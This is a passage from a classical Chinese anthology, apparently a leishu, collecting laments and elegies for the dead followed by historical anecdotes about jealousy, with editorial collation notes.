予 结 谊 兮 梁 门 . 复 从 宦 兮 朱 蕃 . 何 人 径 之 亟 阻 . 而 天 道 之 匪 存 . 凋 碧 玉 之 神 树 . 销 紫 芝 之 灵 根 . 承 远 书 于 江 澨 . 结 深 痛 于 尔 魂 .\n梁 萧 子 范 伤 往 赋 曰 . 彼 兰 菊 之 芳 茂 . 及 蕖 槿 之 荣 色 . 终 于 邑 乎 繁 霜 . 俱 飘 飖 于 路 侧 . 引 轻 华 之 微 珍 . 犹 见 嗟 于 有 识 . 况 独 立 之 妍 媛 . 信 盈 盈 而 挺 植 . 去 倡 家 而 来 仪 . 承 君 子 之 宴 息 . 摧 丽 容 而 思 进 . 岂 蛾 眉 之 肯 抑 . 咏 美 媵 而 自 箴 . 歌 忠 妾 而 为 式 . 痛 妖 姿 之 不 留 . 惜 华 年 之 中 夭 . 冀 罴 祥 之 永 庆 . 忽 从 飙 而 先 摽 . 魂 一 逝 而 莫 追 . 夕 有 长 而 无 晓 . 惟 君 侯 之 惆 怅 . 览 遗 物 而 沾 巾 . 惟 半 垂 而 将 下 . 尚 仿 像 而 疑 真 . 怀 方 士 之 良 术 . 显 有 凭 而 致 神 .\n周 庾 信 哀 江 南 赋 曰 . 粤 以 戊 辰 之 年 . 建 亥 之 月 . 大 盗 移 国 . 金 陵 瓦 解 . 信 年 始 二 毛 . 即 逢 丧 乱 . 狼 狈 流 离 . 至 于 暮 齿 . 燕 河 远 别 . 悲 不 自 胜 . 楚 老 相 逢 . 泣 将 何 及 . 钟 仪 君 子 . 入 就 南 冠 之 囚 . 季 孙 行 人 . 留 守 西 河 之 馆 . 申 包 胥 之 顿 地 . 碎 之 以 首 . 蔡 威 公 之 泪 尽 . 加 之 以 血 . 孙 策 以 天 下 为 三 分 . 众 裁 一 旅 . 项 羽 用 江 东 之 子 弟 . 人 唯 八 千 . 遂 乃 分 裂 山 河 . 宰 割 天 下 . 岂 有 百 万 义 师 . 一 朝 卷 甲 . 芟 夷 斩 伐 . 如 草 木 焉 . 江 淮 无 涯 岸 之 阻 . 亭 壁 无 蕃 篱 之 固 . 将 非 江 表 王 气 . 应 终 三 百 年 乎 . 呜 呼 . 山 岳 崩 颓 . 既 有 危 亡 之 运 . 春 秋 迭 代 . 必 有 去 故 之 悲 . 天 意 人 事 . 可 以 凄 怆 伤 心 者 矣 . 赋 曰 . 始 则 王 子 召 戎 . 奸 臣 介 胄 . 既 官 政 而 离 . 遂 师 言 而 泄 漏 . 尔 乃 杰 黠 构 扇 . 凭 陵 畿 甸 . 青 袍 如 草 . 白 马 如 练 . 天 子 履 端 废 朝 . 单 于 长 围 高 宴 . 竟 遭 夏 台 之 祸 . 遂 睹 尧 城 之 变 . 遂 乃 韩 分 赵 裂 . 鼓 卧 旗 折 . 失 群 班 马 . 迷 输 乱 辙 . 猛 士 婴 城 . 谋 臣 卷 舌 . 昆 阳 之 战 象 走 林 . 常 山 之 阵 蛇 奔 穴 . 五 郡 则 兄 弟 相 悲 . 三 州 则 父 子 离 别 . 于 是 桂 林 颠 覆 . 长 洲 麋 鹿 . 溃 溃 沸 腾 . 茫 茫 惨 黩 . 竞 动 天 关 . 争 回 干 轴 . 探 雀 鷇 而 未 饱 . 待 熊 蹯 而 讵 熟 . 乃 有 车 侧 郭 门 . 筋 悬 庙 屋 . 鬼 同 曹 社 之 谋 . 人 有 秦 庭 之 哭 . 西 瞻 博 望 . 地 临 玄 圃 . 月 榭 风 台 . 池 平 树 古 . 仁 寿 之 镜 徒 悬 . 茂 陵 之 书 空 聚 . 中 宗 之 夷 凶 静 乱 . 大 雪 冤 耻 . 去 代 邸 而 承 基 . 迁 唐 郊 而 纂 祀 . 反 旧 章 于 司 隶 . 归 余 风 于 正 始 . 沉 猜 则 方 逞 其 欲 . 藏 疾 则 自 矜 于 己 . 天 下 之 事 没 焉 . 诸 侯 之 心 摇 矣 . 既 而 齐 交 北 绝 . 秦 患 西 起 . 况 背 关 而 坏 楚 . 异 端 委 而 开 吴 . 驱 绿 林 之 散 卒 . 拒 骊 山 之 叛 徒 . 问 诸 淫 昏 之 鬼 . 求 诸 厌 劾 之 巫 . 荆 门 遭 廪 延 之 戮 . 夏 口 滥 逵 泉 之 诛 . 况 以 沴 气 宵 浮 . 妖 精 夜 殒 . 赤 鸟 则 终 朝 夹 日 . 苍 云 则 七 重 围 轸 . 亡 吴 之 岁 既 穷 . 入 郢 之 年 斯 尽 . 周 含 郑 怒 . 楚 结 秦 怨 . 有 南 风 之 不 竞 . 值 西 邻 之 责 言 . 俄 而 梯 冲 乱 舞 . 冀 马 云 屯 . 栈 秦 车 于 畅 毂 . 沓 汉 鼓 于 雷 门 . 虽 复 楚 有 七 泽 . 人 称 三 户 . 辞 洞 庭 兮 落 木 . 去 涔 阳 兮 极 浦 . 炽 火 兮 焚 旗 . 贞 风 兮 害 蛊 . 乃 使 玉 轴 扬 灰 . 龙 文 析 柱 . 下 江 余 城 . 长 林 故 营 . 徒 思 □ ○ 本 集 作 拑 . 马 之 秣 . 未 见 烧 牛 之 兵 . 章 曼 友 以 毂 走 . 宫 之 奇 以 族 行 . 河 无 小 而 马 渡 . 关 未 晓 而 鸡 鸣 . 忠 臣 解 骨 . 君 子 吞 声 . 章 华 望 祭 之 所 . 云 梦 伪 游 之 地 . 荒 谷 缢 于 莫 敖 . 冶 甫 囚 乎 群 师 . ○ 本 集 作 帅 . 硎 阱 摺 拉 . 鹰 鹯 ● . 于 时 瓦 解 冰 泮 风 飞 雹 散 . 浑 然 千 里 . 淄 沔 一 乱 . 雪 暗 如 沙 . 冰 横 如 岸 . 逢 赴 洛 之 陆 机 . 见 离 家 之 王 粲 . 莫 不 闻 陇 水 而 掩 泣 . 向 关 山 而 长 叹 .\n又 伤 心 赋 曰 . 予 五 福 无 征 . 三 灵 用 谴 . 至 于 继 体 . 多 从 夭 折 . 二 男 二 女 . 并 得 胜 衣 . 金 陵 丧 乱 . 相 守 亡 没 . 苗 而 不 秀 . 频 有 所 悲 . 唯 觉 伤 心 . 遂 以 伤 心 为 赋 . 悲 哉 秋 气 . 摇 落 变 衰 . 魂 兮 远 矣 . 何 去 何 依 . 望 思 无 望 . 归 来 不 归 . 未 达 东 门 之 意 . 空 惧 西 河 之 讥 . 在 昔 金 陵 . 天 下 丧 乱 . 王 室 版 荡 . 生 人 涂 炭 . 兄 弟 则 五 郡 分 张 . 父 子 则 三 州 离 散 . 地 鼎 沸 于 袁 曹 . 人 豺 狼 于 楚 汉 . 或 有 拥 树 离 灾 . 藏 衣 遭 难 . 未 设 桑 弧 . 先 空 柘 馆 . 人 惟 一 丘 . 亭 遂 千 秋 . 边 韶 永 恨 . 孙 楚 长 愁 . 张 壮 武 之 心 亡 . 羊 南 城 之 泪 流 . 痛 斯 传 体 . 寻 兹 世 载 . 天 道 斯 慈 . 人 伦 此 爱 . 膝 下 龙 摧 . 掌 中 珠 碎 . 芝 在 室 而 先 枯 . 兰 生 庭 而 早 刈 . 况 乃 流 寓 秦 川 . 飘 飖 播 迁 . 从 宦 非 宦 . 归 田 不 田 . 对 玉 关 而 羇 旅 . 坐 长 河 而 暮 年 . 以 触 目 之 万 恨 . 更 伤 心 于 九 泉 .\n【 哀 辞 】 魏 陈 王 曹 植 金 瓠 哀 辞 . 予 之 首 女 . 虽 未 能 言 . 固 以 授 色 知 心 矣 . 生 十 九 旬 而 夭 折 . 乃 作 此 辞 曰 . 在 襁 褓 而 抚 育 . 向 孩 笑 而 未 言 . 不 终 年 而 夭 绝 . 何 负 罚 于 皇 天 . 信 吾 罪 之 所 招 . 悲 弱 子 之 无 . 去 父 母 之 怀 抱 . 灭 微 骸 于 粪 土 . 天 地 长 久 . 人 生 几 时 . 先 后 无 觉 . 从 尔 有 期 .\n又 行 女 哀 辞 曰 . 行 女 生 于 季 秋 . 而 终 于 首 夏 . 三 年 之 中 . 二 子 频 丧 . 伊 上 灵 之 降 命 . 何 短 修 之 难 裁 . 或 华 发 以 终 年 . 或 怀 妊 而 逢 灾 . 感 前 哀 之 未 阕 . 复 新 殃 之 重 来 . 方 朝 华 而 晚 敷 . 比 晨 露 而 先 晞 . 感 逝 者 之 不 追 . 情 忽 忽 而 失 度 . 天 盖 高 而 无 阶 . 怀 此 恨 其 谁 诉 .\n又 仲 雍 哀 辞 曰 . 曹 喈 . 字 仲 雍 . 魏 太 子 之 中 子 也 . 三 月 生 而 五 月 亡 . 昔 后 稷 之 在 寒 冰 . 斗 谷 之 在 楚 泽 . 咸 依 鸟 凭 虎 . 而 无 风 尘 之 灾 . 今 之 玄 第 文 茵 . 无 寒 冰 之 惨 . 罗 帱 绮 帐 . 暖 于 翔 禽 之 翼 . 幽 房 闲 宇 . 密 于 云 梦 之 野 . 慈 母 良 保 . 仁 乎 乌 菟 之 情 . 卒 不 能 延 期 于 期 载 . 离 六 旬 而 夭 没 . 彼 孤 兰 之 眇 眇 . 亮 成 干 其 毕 荣 . 哀 绵 绵 之 弱 子 . 早 背 世 而 潜 形 . 且 四 孟 之 未 周 . 将 何 愿 乎 一 龄 . 阴 云 回 于 素 盖 . 悲 风 动 其 扶 轮 . 临 埏 闼 以 歔 欷 . 泪 流 射 而 沾 巾 .\n晋 陆 机 吴 大 司 马 六 公 少 女 哀 辞 曰 . 冉 冉 晞 阳 . 不 遂 其 茂 . 晔 晔 芳 华 . 凋 芳 落 秀 . 遵 堂 涉 室 . 髣 佛 兴 想 . 人 皆 有 声 . 尔 独 无 响 .\n晋 潘 岳 哀 永 逝 辞 曰 . 逝 日 长 兮 生 年 浅 . 忧 患 众 兮 欢 乐 渺 . 怅 怅 兮 迟 迟 . 遵 古 路 兮 凶 归 . 思 其 人 兮 已 灭 . 览 余 迹 兮 未 夷 . 昔 同 涂 兮 今 异 世 . 忆 旧 欢 兮 增 新 悲 . 谓 原 隰 兮 无 畔 . 谓 川 流 兮 无 岸 . 视 天 日 兮 苍 茫 . 面 邑 里 兮 萧 散 . 匪 外 物 兮 或 改 . 固 欢 哀 兮 情 换 . 归 反 哭 兮 殡 宫 . 声 有 止 兮 哀 无 终 . 既 顾 瞻 兮 家 道 . 长 寄 心 兮 尔 躬 .\n又 伤 弱 子 辞 曰 . 予 之 长 安 . 次 于 新 安 千 秋 亭 . 而 弱 子 夭 . 感 嬴 博 之 哀 . 乃 伤 之 曰 . 奈 何 兮 弱 子 . 邈 弃 尔 兮 丘 林 . 还 眺 兮 坟 瘗 . 草 莽 莽 兮 木 森 森 . 伊 遂 古 之 遐 胄 . 逮 祖 考 之 永 延 . 咨 吾 家 之 不 嗣 . 羌 一 适 之 未 甄 . 仰 崇 堂 之 遗 构 . 若 无 津 而 涉 川 . 叶 落 永 离 . 覆 水 不 收 . 赤 子 何 辜 . 罪 我 之 由 .\n又 金 鹿 哀 辞 曰 . 嗟 我 金 鹿 . 天 资 特 挺 . 鬒 发 凝 肤 . 蛾 眉 蛴 领 . 柔 情 和 泰 . 朗 心 聪 警 . 呜 呼 上 天 . 胡 忍 我 门 . 良 嫔 短 世 . 令 子 夭 昏 . 既 披 我 干 . 又 翦 我 根 . 槐 如 瘣 木 . 枯 荄 独 存 . 捐 子 中 野 . 遵 我 归 路 . 将 反 如 疑 . 回 首 长 顾 .\n又 阳 城 刘 氏 妹 哀 辞 曰 . 鸟 鸣 于 桓 . 乌 号 于 荆 . 徘 徊 踯 躅 . 立 闻 其 声 . 相 彼 羽 族 . 矧 伊 人 情 . 叩 心 长 叫 . 痛 我 同 生 . 诞 育 圣 王 . 发 奇 稚 齿 . 如 彼 名 驹 . 昴 昴 千 里 . 刘 氏 □ ○ 冯 校 本 云 . 氏 下 缺 文 . 怀 宝 . 未 曜 随 和 . 伊 予 轻 弱 . 弗 克 负 荷 . 禄 微 于 朝 . 财 匮 于 家 . 俾 我 令 妹 . 勤 俭 备 加 . 珍 羞 罕 御 . 器 服 靡 华 . 抚 膺 恨 毒 . 逝 矣 奈 何 . 哀 哀 母 氏 . 蒸 蒸 圣 慈 . 震 恸 擗 摽 . 何 痛 如 之 . 魂 而 有 灵 . 岂 不 慕 思 . 嗟 哉 往 矣 . 当 复 何 时 .\n又 悲 邢 生 曰 . 周 文 公 之 苗 裔 . 予 元 舅 之 洪 胄 . 厉 操 确 其 不 拔 . 乡 誉 着 而 日 就 . 妙 邦 畿 而 高 察 . 雄 州 闾 以 擢 秀 . 茂 实 畅 矣 . 而 休 名 未 衍 . 其 财 至 贫 . 其 位 至 贱 . 而 死 之 日 . 奔 者 盈 庭 . 停 余 车 而 在 郊 . 抚 灵 榇 以 增 悲 . 瞻 爫 容 而 想 像 . 曾 无 觌 乎 余 辉 . 送 子 兮 境 垂 . 永 诀 兮 路 歧 . 一 别 兮 长 绝 . 尽 哀 兮 告 离 .\n又 京 陵 女 公 子 王 氏 哀 辞 曰 . 猗 欤 公 子 . 季 女 惟 王 . 生 自 洪 胄 . 禀 兹 义 方 . 盼 倩 粲 丽 . 窈 窕 淑 良 . 如 彼 春 兰 . 吐 葩 含 芳 . 葩 以 霜 陨 . 芳 以 歇 尽 . 彼 苍 者 天 . 胡 宁 斯 忍 . 曾 未 弱 笄 . 无 疾 而 陨 . 宫 朝 震 惊 . 靡 人 不 愍 . 嗟 尔 母 氏 . 劬 劳 抚 鞠 . 恩 斯 勤 斯 . 是 长 是 育 . 帷 屏 媚 子 . 奄 离 顾 复 . 哀 无 废 心 . 涕 不 辍 目 . 于 以 祖 之 . 于 掖 闺 庭 . 于 以 送 之 . 陵 岗 崔 嵬 . 仆 马 回 眷 . 旗 旐 旋 飞 . 夕 阳 失 映 . 晴 鸟 忘 归 . 皎 皎 宵 月 . 载 盈 载 微 . 冥 冥 公 子 . 一 往 不 追 . 长 夜 无 旦 . 孤 魂 曷 依 .\n又 为 任 子 咸 妻 作 孤 女 泽 兰 哀 辞 曰 . 茫 茫 造 化 . 爰 启 英 淑 . 猗 猗 泽 兰 . 应 灵 诞 育 . 须 发 蛾 眉 . 巧 笑 美 目 . 颜 耀 荣 苕 . 华 茂 时 菊 . 如 金 之 精 . 如 兰 之 馥 . 淑 质 弥 畅 . 聪 惠 日 新 . 朝 夕 顾 复 . 夙 夜 尽 勤 . 彼 苍 者 天 . 哀 此 矜 人 . 胡 宁 不 惠 . 忍 予 眇 身 . 俾 尔 婴 孺 . 微 命 弗 振 . 俯 览 衾 襚 . 仰 诉 穹 旻 . 弱 子 在 怀 . 既 生 不 遂 . 存 靡 托 躬 . 没 无 遗 类 . 耳 存 遗 响 . 目 想 余 颜 . 寝 席 伏 枕 . 摧 心 剖 肝 . 相 彼 鸟 矣 . 和 鸣 嘤 嘤 . 矧 伊 兰 子 . 音 影 冥 冥 . 仿 徨 丘 垄 . 徙 倚 坟 茔 .\n【 文 】 又 为 杨 长 文 作 弟 仲 武 哀 祝 文 曰 . 悠 悠 上 天 . 我 独 何 辜 . 祖 考 早 世 . 兄 弟 幼 孤 . 备 尝 艰 毒 . 同 集 蓼 荼 . 父 兮 生 我 . 过 庭 靡 闻 . 母 兮 鞠 我 . 宁 一 苦 辛 . 日 顾 日 复 . 我 弟 我 身 . 并 自 垂 发 . 越 于 成 人 . 浚 哲 聪 朗 . 纯 粹 温 良 . 烈 烈 清 风 . 邦 族 之 望 . 母 氏 劬 劳 . 庶 尔 之 报 . 彼 苍 者 天 . 子 何 不 吊 . 歼 我 令 弟 . 穷 泉 是 造 . 无 父 何 怙 . 无 弟 何 友 . 茕 茕 此 身 . 哀 哀 慈 母 . 烦 冤 痛 毒 . 抚 心 思 咎 . 哀 尔 薄 佑 . 逢 家 多 阻 . 弱 冠 未 室 . 盛 年 绝 绪 . 丧 庭 寥 廓 . 庐 位 无 主 . 冥 冥 长 夜 . 窈 窈 玄 宇 . 当 复 何 时 . 见 我 仲 武 . 于 以 祔 之 . 于 其 王 父 . 魂 而 有 灵 . 神 其 宁 处 .\n晋 孙 楚 和 氏 外 孙 道 生 哀 文 曰 . 嗟 尔 道 生 . 和 氏 之 宝 . 玉 颜 丰 下 . 曜 于 怀 抱 . 暮 春 而 育 . 孟 冬 而 夭 . 二 十 三 旬 . 奇 于 五 日 . 方 之 期 颐 . 百 分 之 一 . 命 之 脩 短 . 始 则 有 终 . 谁 能 长 久 . 与 天 无 穷 . 篯 翁 近 千 . 殇 子 幼 冲 . 俱 反 无 形 . 冥 昧 之 中 . 造 化 多 少 . 岂 独 尔 躬 .\n又 和 氏 外 孙 小 同 哀 文 曰 . 晔 晔 蕣 华 . 朝 生 夕 落 . 尔 命 方 之 . 犹 为 浅 薄 . 暂 有 冥 质 . 寻 友 冥 漠 . 譬 彼 蜉 蝣 . 不 识 晦 朔 . 死 尚 未 知 . 生 亦 焉 知 . 尔 虽 旬 月 . 我 未 之 视 . 万 物 混 焉 . 天 地 一 指 . 杪 末 婴 孩 . 安 足 称 诔 . 大 人 达 观 . 同 之 一 揆 .\n又 胡 母 夫 人 哀 辞 曰 . 滔 滔 汶 川 . 浩 浩 云 汉 . 乃 眷 洪 族 . 裁 育 英 媛 . 幼 挺 芳 烈 . 晖 光 日 新 . 有 美 其 猗 . 有 彪 其 文 . 华 茂 春 芳 . 志 厉 秋 霜 . 邂 逅 之 遇 . 遘 兹 良 会 . 岂 惟 中 馈 . 义 形 于 外 . 恒 凭 贤 明 . 以 自 休 赖 . 冀 享 永 年 . 偕 老 一 世 . 景 命 伊 何 . 忽 然 长 逝 .\n梁 简 文 帝 大 同 哀 辞 曰 . 大 同 予 第 十 子 也 . 生 于 仲 秋 . 殒 于 冬 末 . 悲 夫 夕 坐 . 于 是 申 旦 . 当 以 食 ○ 文 苑 英 华 九 百 九 十 九 作 食 以 . 之 不 甘 . 客 谓 予 曰 . 死 生 常 也 . 夭 寿 命 也 . 陈 蕃 所 憩 之 家 . 久 记 玄 录 之 岁 . 华 歆 ○ 原 讹 欹 . 据 冯 校 本 改 . 所 间 ○ 英 华 作 闻 . 之 语 . 已 定 北 陵 之 期 . 上 圣 所 以 忘 情 . 贤 者 所 以 达 节 . 将 何 戚 焉 . 予 对 之 曰 . 观 其 明 眸 丰 下 . 玉 色 和 声 . 岂 不 登 髫 岁 而 拟 触 藩 . 反 ○ 英 华 作 及 . 纨 葱 而 仰 折 李 . 灵 心 摧 于 毫 末 . 慧 识 挫 于 跬 步 . 岂 不 伤 哉 . 乃 为 辞 曰 . 彼 神 蔡 之 灵 长 . 获 万 春 之 悠 缅 . 有 蕣 华 之 灼 灼 . 寄 一 朝 之 浮 浅 . 信 欢 慰 之 未 几 . 悼 夭 零 之 云 及 . 乃 变 乐 而 为 悲 . 遂 改 笑 而 成 泣 .\n【 书 】 晋 刘 臻 妻 陈 氏 答 舅 母 书 曰 . 元 方 春 秋 始 富 . 德 业 亦 隆 . 弘 道 博 文 . 才 质 兼 备 . 冀 志 与 时 畅 . 荣 耀 当 年 . 岂 意 一 朝 . 冥 然 长 往 . 元 方 冲 幼 . 过 庭 莫 闻 . 圣 善 明 训 . 业 成 三 徙 . 亦 既 冠 婚 . 双 誉 允 集 . 庶 几 偕 老 . 色 养 膝 下 . 而 殃 厉 横 流 . 艰 祸 仍 遘 . 媛 姊 倾 逝 . 宗 模 永 绝 . 方 玄 华 . 并 夭 戚 年 . 岂 虑 岂 图 . 祸 降 弥 酷 . 良 才 夭 于 始 立 . 崇 基 殒 于 一 匮 . 仰 痛 殄 灭 . 俯 悼 二 弟 . 斯 人 斯 命 . 当 可 奈 何 . 母 年 逾 耳 顺 . 备 经 百 罹 . 一 纪 之 中 . 四 遘 至 痛 . 目 前 廓 然 . 三 从 靡 托 . 穷 悼 中 发 . 情 驰 难 处 .\n梁 任 昉 与 沈 约 书 曰 . 范 仆 射 遂 不 救 疾 . 范 侯 淳 孝 睦 友 . 在 家 必 闻 . 直 道 正 色 . 立 朝 斯 着 . 一 金 之 俸 . 必 遍 亲 伦 . 钟 庾 之 秩 . 散 之 故 旧 . 佐 命 兴 王 . 心 力 俱 尽 . 谋 猷 忠 允 . 谅 诚 匪 躬 . 破 产 而 字 死 友 之 孤 . 开 门 而 延 故 人 之 殡 . 则 惟 其 常 . 无 得 而 称 矣 . 器 用 车 马 . 无 改 平 生 之 凭 . 素 论 款 对 . 不 易 布 素 之 交 . 若 斯 人 者 . 岂 云 易 遇 . 昉 将 莅 此 邦 . 务 在 遄 速 . 虽 解 驾 流 连 . 再 贻 款 顾 . 将 乖 之 际 . 不 忍 告 别 . 无 益 离 悲 . 祗 增 今 恨 . 永 念 平 生 . 忽 焉 畴 曩 . 追 寻 笑 绪 . 皆 成 悲 端 .\n又 吊 乐 永 世 书 曰 . 永 世 孝 友 之 至 . 发 自 天 真 . 皎 洁 之 操 . 曾 非 矫 饰 . 意 有 所 固 . 白 刃 不 移 . 理 有 所 托 . 淄 渑 自 辨 . 余 息 惟 存 . 视 阴 无 几 . 终 始 之 托 . 方 寄 祁 侯 . 岂 谓 乐 生 . 反 先 朝 露 . 以 理 遣 滞 . 鄙 识 未 晓 . 以 事 寻 悲 . 哀 楚 交 至 . 宿 草 易 滋 . 伤 恨 不 灭 . 松 槚 可 拱 . 悲 绪 无 穷 .\n梁 刘 孝 标 追 答 刘 沼 书 曰 . 刘 侯 既 有 斯 难 . 值 予 有 天 伦\n之 职 . ○ 文 选 四 十 三 作 戚 . 竟 未\n之 致 也 . 寻 而 此 君 长 逝 . 化 为 异 物 . 绪 言 余 论 . 蕴 而 莫\n传 . 或 有 自 其 家 得 而 示 予 者 . 予 悲 其 音 徽 未 沫 . 而 其 人\n已 亡 . 青 简 尚 新 . 而 宿 草 将 列 . 泫 然 不 知 涕 之 无 从 也 .\n虽 隙 驷 不 留 . 尺 波 电 谢 . 而 秋 菊 春 兰 . 英 华 靡 绝 . 故 存\n其 梗 概 . 更 酬 其 旨 . 若 使 墨 翟 之 言 无 爽 . 宣 室 之 谈 有 征\n. 冀 东 平 之 树 . 望 咸 阳 而 西 靡 . 盖 山 之 泉 . 闻 弦 歌 而 赴\n节 . 但 悬 剑 空 垄 . 有 恨 如 何 .\n毛 诗 序 曰 . 夫 人 无 妒 忌 之 行 . 惠 及 贱 妾 . 进 御 于 君 . 知 其 命 有 贵 贱 . 能 尽 其 心 矣 .\n又 曰 . 不 妒 忌 则 子 孙 众 多 矣 .\n山 海 经 曰 . 秦 室 山 有 木 . 叶 如 梨 而 赤 理 . 其 名 曰 指 木 . 服 之 不 妒 .\n文 子 曰 . 爵 高 者 人 妒 之 . 官 大 者 王 恶 之 . 禄 厚 者 怨 处 之 .\n汉 书 曰 . 武 帝 陈 皇 后 为 妒 . 别 在 长 门 宫 . 司 马 相 如 作 赋 . 皇 后 复 亲 幸 .\n又 曰 . 陈 后 宠 衰 . 妒 甚 . 令 巫 祭 祀 . 以 回 上 意 .\n又 曰 . 吕 氏 妒 戚 夫 人 . 髡 钳 赭 衣 使 舂 . 又 断 手 足 . 去 目 重 身 . 饮 喑 药 . 名 曰 人 豕 .\n又 曰 . 广 川 王 去 . 尝 有 疾 . 阳 城 昭 信 侍 疾 甚 谨 . 去 爱 之 . 立 为 后 . 又 有 幸 姬 望 卿 . ○ 原 作 乡 . 据 冯 校 本 改 . 下 同 . 为 脩 夫 人 . 主 缯 帛 . 昭 信 谮 望 卿 曰 . 与 我 无 礼 . 衣 服 常 鲜 我 . 又 傅 粉 . 数 南 户 窥 郎 吏 . 疑 有 奸 . 去 曰 . 伺 之 . 益 不 爱 望 卿 . 昭 信 知 去 怒 . 诬 言 望 卿 . 历 指 郎 吏 卧 处 . 具 知 其 名 . 去 即 与 昭 信 从 诸 姬 至 望 卿 室 . 裸 形 系 之 . 令 诸 姬 各 持 铁 共 灼 之 . 望 卿 自 投 井 而 死 . 昭 信 出 之 . 椓 阴 中 . 割 其 鼻 唇 . 断 舌 . 遂 解 置 大 镬 中 . 取 桃 灰 毒 药 并 煮 之 . 令 诸 姬 观 糜 尽 . 乃 止 .\n冯 敬 通 集 曰 . 敬 通 有 一 婢 . 妻 任 酷 妒 之 . 击 婢 无 所 不 至 . 敬 通 乃 弃 遣 之 . 因 与 妇 弟 任 武 达 书 曰 . 不 去 此 妇 . 则 家 不 宁 . 不 去 此 妇 . 则 家 不 清 . 不 去 此 妇 . 则 福 不 生 . 不 去 此 妇 . 则 身 不 荣 . 不 去 此 妇 . 则 事 不 成 . 吾 数 奇 命 薄 . 端 相 逢 遭 .\n典 论 曰 . 上 洛 都 尉 王 琰 . 以 功 封 . 其 妻 哭 于 家 . 为 琰 富 贵 更 取 妾 故 也 .\n魏 志 曰 . 冯 方 女 美 . 袁 术 纳 焉 . 甚 宠 幸 . 诸 妾 害 其 宠 . 因 共 杀 而 悬 之 . 言 其 自 缢 .\n又 曰 . 袁 绍 妇 刘 氏 . 甚 妒 . 绍 死 未 殡 . 宠 妾 五 人 . 刘 尽 杀 之 . 又 毁 其 形 . 其 少 子 尚 . 又 尽 灭 死 妾 家 焉 .\n王 隐 晋 书 曰 . 贾 充 妻 郭 . 产 子 黎 民 . 三 岁 . 乳 母 抱 向 合 . 充 入 . 黎 民 喜 勇 . ○ 太 平 御 览 五 百 二 十 一 作 踊 . 充 恶 ○ 御 览 作 呜 . 之 . 郭 遥 望 见 . 疑 充 . 即 鞭 乳 母 杀 之 . 儿 思 乳 母 而 死 . 郭 又 生 一 男 . 乳 母 抱 在 中 庭 . 充 过 拈 颊 . 郭 又 疑 . 复 杀 乳 母 . 男 又 死 .\n郭 子 曰 . 孙 秀 妻 蒯 . 尝 妒 骂 秀 为 貉 . 秀 大 不 平 . 遂 出 不 复 入 . 蒯 氏 请 救 于 武 帝 . 时 大 赦 . 帝 曰 . 天 下 旷 荡 . 蒯 夫 人 可 得 从 其 例 否 . 秀 免 冠 谢 . 为 夫 妇 如 初 .\n妒 记 曰 . 王 丞 相 曹 夫 人 . 性 甚 忌 . 禁 制 丞 相 . 不 得 有 侍 御 . 时 有 妍 少 . 必 加 诮 责 . 王 公 不 能 久 堪 . 乃 密 营 别 馆 . 众 妾 罗 列 . 男 女 成 行 . 后 元 会 日 . 夫 人 于 青 疏 中 观 望 . 忽 见 两 三 小 儿 骑 羊 . 皆 端 正 . 夫 人 语 婢 云 . 汝 出 问 . 此 是 谁 家 儿 . 奇 可 念 . 给 使 不 达 旨 . 乃 云 . 此 是 第 四 五 等 诸 郎 . 曹 氏 惊 恚 . 不 能 自 忍 . 乃 命 驾 车 . 将 黄 门 及 婢 二 十 人 . 持 食 刀 . 欲 自 出 寻 讨 . 王 公 亦 飞 辔 出 门 . 犹 患 迟 . 乃 以 左 手 攀 车 拦 . 右 手 提 麈 尾 . 以 柄 打 牛 . 狼 狈 奔 驰 . 方 得 先 至 . 蔡 司 徒 闻 之 . 乃 谓 王 曰 . 朝 廷 欲 加 九 锡 . 公 知 否 . 王 为 信 . 自 凉 谦 志 . 蔡 曰 . 不 闻 加 余 物 . 惟 闻 短 辕 犊 车 . 长 柄 麈 尾 尔 . 王 大 羞 愧 .\n又 曰 . 谢 太 傅 刘 夫 人 . 不 令 公 有 别 房 . 公 既 深 好 声 乐 . 复 遂 颇 欲 立 妓 妾 . 兄 子 外 生 等 . 微 达 此 旨 . 共 问 讯 刘 夫 人 . 因 方 便 . 称 关 雎 螽 斯 . 有 不 忌 之 德 . 夫 人 知 以 讽 己 . 乃 问 谁 撰 此 诗 . 答 云 周 公 . 夫 人 曰 . 周 公 是 男 子 . 相 为 尔 . 若 使 周 姥 撰 诗 . 当 无 此 也 .\n又 曰 . 京 邑 有 士 人 妇 . 大 妒 忌 . 于 夫 小 则 骂 詈 . 大 必 捶 打 . 常 以 长 绳 系 夫 脚 . 且 唤 便 牵 绳 . 士 人 密 与 巫 妪 为 计 . 因 妇 眠 . 士 人 入 厕 . 以 绳 系 羊 . 士 人 缘 墙 走 避 . 妇 觉 . 牵 绳 而 羊 至 . 大 惊 怪 . 召 问 巫 . 巫 曰 . 娘 积 恶 . 先 人 怪 责 . 故 郎 君 变 成 羊 . 若 能 改 悔 . 乃 可 祈 请 . 妇 因 悲 号 . 抱 羊 恸 哭 . 自 咎 悔 誓 . 师 妪 乃 令 七 日 斋 . 举 家 大 小 悉 避 于 室 中 . 祭 鬼 神 . 师 祝 羊 还 复 本 形 . 婿 徐 徐 还 . 妇 见 婿 . 啼 问 曰 . 多 日 作 羊 . 不 乃 辛 苦 耶 . 婿 曰 . 犹 忆 啖 草 不 美 . 腹 中 痛 尔 . 妇 愈 悲 哀 . 后 复 妒 忌 . 婿 因 伏 地 作 羊 鸣 . 妇 惊 起 徒 跣 . 呼 先 人 为 誓 . 不 复 敢 尔 . 于 此 不 复 妒 忌 .\n又 曰 . 泰 元 中 . 有 人 姓 荀 . 妇 庾 氏 . 大 妒 忌 . 荀 尝 宿 行 . 遂 杀 二 儿 . 为 屋 不 立 斋 室 . 唯 有 厅 事 . 不 作 后 壁 . 令 在 堂 上 . 泠 然 望 见 外 事 . 凡 无 须 人 不 得 入 门 . 送 书 之 人 . 若 以 手 近 荀 手 . 无 不 痛 打 . 客 若 共 床 坐 . 亦 宾 主 俱 败 . 邻 近 有 年 少 . 径 突 前 诣 荀 . 接 膝 共 坐 . 便 闻 大 骂 . 推 求 刀 杖 . 荀 谓 客 曰 . 仆 狂 妇 行 . 君 之 所 闻 . 君 不 去 . 必 误 君 事 . 客 曰 . 仆 不 畏 此 . 乃 前 捉 荀 手 . 妇 便 持 杖 . 直 前 向 客 . 客 既 大 健 . 又 有 短 杖 在 衣 里 . 便 与 手 . 老 妪 无 力 . 即 倒 地 . 客 打 垂 死 . 荀 走 叛 不 敢 还 . 妇 密 令 荀 . 云 近 遭 狂 人 . 非 君 之 过 . 君 便 可 还 . 荀 然 后 敢 出 . 妇 兄 来 . 就 荀 共 方 床 卧 . 而 妇 不 知 . 便 来 